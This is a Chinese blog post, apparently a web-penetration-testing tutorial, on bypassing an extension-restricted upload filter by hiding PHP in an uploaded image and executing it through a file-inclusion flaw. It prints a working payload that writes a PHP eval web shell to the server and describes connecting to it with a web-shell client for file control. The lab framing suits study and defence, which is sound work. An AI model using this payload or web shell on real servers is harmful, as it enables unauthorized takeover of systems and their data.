在《文件上传漏洞—Web渗透学习》一文中讲到在高安全级别(有较强安全意识的开发人员)中,开放人员定义了用户上传文件的扩展名,只有文件扩展名是jpg、JPG、jpeg、JPEG等文件才允许上传。通过代理服务器等方法无法对其进行渗透。
通过文件包含漏洞的渗透方法和文件上传漏洞的方法结合,可以成功渗透文件上传漏洞中的高安全级别。
原理:
我们在高安全级别中真实的长传一张图片,但在通过图片编辑软件,将php语句添加到该图片中。
php语句如下:
<?fputs(fopen("shell50.php","w"),'<?php eval($_POST[1]);?>')?>
然后通过文件包含来访问该图片,使该语句得到执行,从而生成shell50.php文件,文件内容为:
<?php eval($_POST['1']);?>
上传图片:
通过文件包含访问该图片(显示乱码表示图片上传成功):
访问的实质是通过include函数对执行上传的图片进行执行,从而生成shell50.php文件。
接下来用菜刀访问该shell50.php文件,从而获取该服务的文件操作权限。
后记:
在该实验中进行了抓包,图片上传过程的数据包信息如下:

本文介绍了如何结合文件包含漏洞与文件上传漏洞,穿透高安全级别的限制。通过在图片中嵌入PHP代码,然后利用文件包含访问,生成可执行的shell文件,从而获取服务器权限。同时讨论了数据包抓包分析以及可能的WAF规避策略,并提出了安全防护建议,如动态检查文件内容以防止恶意代码执行。
最低0.47元/天 解锁文章
1690

被折叠的 条评论
为什么被折叠?



